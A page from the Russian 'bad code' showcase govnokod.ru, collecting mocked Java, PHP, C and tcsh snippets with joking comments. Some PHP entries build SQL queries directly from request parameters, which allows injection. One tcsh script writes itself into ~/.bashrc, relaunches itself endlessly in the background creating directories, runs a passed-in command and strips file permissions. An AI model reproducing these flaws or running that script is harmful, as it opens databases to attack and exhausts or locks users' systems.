- 1
- 2
- 3
- 4
- 5
void log(boolean e) {
if (String.valueOf(e).length() < 5) {
System.err.println("Something bad happened.");
}
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+150
void log(boolean e) {
if (String.valueOf(e).length() < 5) {
System.err.println("Something bad happened.");
}
}
Логгер
+148
<?php if ($curauth->user_status == "Фотограф" && $curauth->konkurs) { echo "
<div class=\"bio-left\"><h1>Участие в конкурсах:</h1></div>
<div class=\"bio-right\">";
echo $curauth->konkurs;
echo "</div><div class=\"c-left\"></div>"; } } ?>
+154
<?php
/*
*
*
*
*/
if(!isset($_POST["links"])){
echo '<form action="links.php" method="post">
<p>Ссылки:</p>
<p><textarea rows="10" cols="45" name="links"></textarea></p>
<p><input type="submit" value="Отправить"></p>
</form>';
} else {
$array = explode("\r\n", $_POST["links"]);
foreach($array as $link){
if(preg_match("/^(http:\/\/{1})((\w+\.){1,})\w{2,}$/i", $link)){
echo "<a href=\"$link\">$link</a><br>";
}
}
}
?>
+140.9
$src= fgets($fp,1000);
if (strpos($src,"301") && $op_2) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 301 Moved Permanently\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"lime\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: lime;\">HTTP 301 Moved Permanently</span><br>";
}
if (strpos($src,"302") && $op_2) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 302 Found\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"lime\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: lime;\">HTTP 302 Found</span><br>";
}
if (strpos($src,"200")) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 200 OK\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"yellow\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: yellow;\">HTTP 200 OK</span><br>";
}
if (strpos($src,"403")&& $op_1) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 403 Forbidden\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"red\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: red;\">HTTP 403 Forbidden</span><br>";
}
if (strpos($src,"401")) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 401 Authorization Required\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"red\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: red;\">HTTP 401 Authorization Required</span><br>";
}
if (strpos($src,"503")) {
$mk .= "http://".$www."/".$files[$a]." HTTP 503 Service Unavailable\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"blue\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: blue;\">HTTP 503 Service Unavailable</span><br>";
}
if (strpos($src,"504")) {
$mk .= "http://".$www."/".$files[$a]." HTTP 504 Gateway Timeout\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"blue\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: blue;\">HTTP 504 Gateway Timeout</span><br>";
}
снова вебкакер.ру ))
А что такое массивы? о_0
+136.9
$src= fgets($fp,1000);
if (strpos($src,"301") && $op_2) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 301 Moved Permanently\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"lime\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: lime;\">HTTP 301 Moved Permanently</span><br>";
}
if (strpos($src,"302") && $op_2) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 302 Found\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"lime\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: lime;\">HTTP 302 Found</span><br>";
}
if (strpos($src,"200")) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 200 OK\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"yellow\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: yellow;\">HTTP 200 OK</span><br>";
}
if (strpos($src,"403")&& $op_1) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 403 Forbidden\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"red\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: red;\">HTTP 403 Forbidden</span><br>";
}
if (strpos($src,"401")) {
Pravile($src,$files[$a],1);
$mk .= "http://".$www."/".$files[$a]." HTTP 401 Authorization Required\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"red\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: red;\">HTTP 401 Authorization Required</span><br>";
}
if (strpos($src,"503")) {
$mk .= "http://".$www."/".$files[$a]." HTTP 503 Service Unavailable\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"blue\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: blue;\">HTTP 503 Service Unavailable</span><br>";
}
if (strpos($src,"504")) {
$mk .= "http://".$www."/".$files[$a]." HTTP 504 Gateway Timeout\r\n";
echo "<a href=http://".$www."/".$files[$a]." target=\"_blank\" class=\"blue\">http://".$www."/".$files[$a]."</a> <span style=\"font-weight: bold;color: blue;\">HTTP 504 Gateway Timeout</span><br>";
}
снова вебхакер.ру ))
А что такое массивы? о_0
+145.5
case 'top':
$nick=$_GET["nick"];
$pass=$_GET["pass"];
mysql_query("SELECT * FROM users WHERE nick = '$nick' and pass = '$pass'");
if (@mysql_affected_rows($link)!=0){
$sub=$_POST["sub"];
$text=addslashes(strip_tags(nl2br($_POST["text"]),'<br>'));
$ip=$_SERVER["REMOTE_ADDR"];
$cat_id=$_GET["cat_id"];
mysql_query("insert into f_subject values (NULL, '$sub', '$nick', '0' , '$nick', NOW(), NOW(), '$ip' , '$text', '$cat_id')");
$row= mysql_fetch_array(mysql_query("SELECT *FROM f_cat WHERE id ='$cat_id'"));
$topics=$row["topics"]+1;
mysql_query("UPDATE f_cat SET topics='$topics' WHERE id ='$cat_id'");
}
Header("Location: index.php?cat=".$cat_id);
break;
+166.3
require_once ("dbsettings.inc");
require_once ("User.inc");
require_once ("UserFactory.inc");
require_once ("UserGroup.inc");
$login = "aa";//$_POST["login"];
$pass = "as";//$_POST ["pass"];
$__o__III___o__ = new dbsettings (
"localhost",
"root",
"*********",
"WEBSITE",
"Users" );
$__o__IV___o__= new UserFactory (
$__o__III___o__);
$TempUser= $__o__IV___o__->createUser( $login, $pass );
Ну и фантазия! ()
+144
include <stdio.h>
int main()
{
unsigned char a;
a='Я';
printf("\n%c=%d",a,a);
return 0;
}
+154
#!/bin/tcsh
# Utility "p1", author Alice Stein ([email protected]),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0
shell script tcsh
+139.5
<?
// Загрузка всех функций из папки "sys/fnc"
$opdirbase=opendir(H.'sys/fnc');
while ($filebase=readdir($opdirbase))
if (eregi('\.php$',$filebase))
include_once(H.'sys/fnc/'.$filebase);
?>
Вот таким макаром в wap cms "DCMS" грузятся функции. Файл с этим содержанием вставляется на все страницы. Причём в папке sys/func 47 PHP файлов =)